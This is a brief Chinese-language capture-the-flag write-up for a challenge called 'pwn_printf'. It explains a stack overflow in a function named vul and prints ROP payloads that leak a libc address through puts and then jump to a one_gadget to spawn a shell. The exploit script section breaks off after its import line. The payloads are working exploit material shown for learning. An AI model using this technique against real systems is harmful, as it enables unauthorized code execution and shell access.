pwn_printf
思路
程序有一个存在栈溢出的函数vul
连续输入0x10个30以后,就会进入到vul,此时写入
1
payload=b'a'*8+p64(rdi)+p64(pelf.got['puts'])+p64( pelf.plt['puts'])+p64(rdi)+p64(0x200)+p64(vul)
payload=b’a’*8+p64(rdi)+p64(pelf.got[‘puts’])+p64( pelf.plt[‘puts’])+p64(rdi)+p64(0x200)+p64(vul)
通过rop设置puts的参数,然后用puts泄漏出libc的地址,然后通过rop重新设置vul写入的长度并跳转会vul
利用libc地址找到一个onegadget,通过栈溢出跳转执行获得shell
1
payload = b'a'*8+p64(onegadget)+0x200*b'\x00'
注意onegadget的条件,rsp+N=NULL,只要一直向后写0就能够满足条件
EXP
1 | from pwn import * |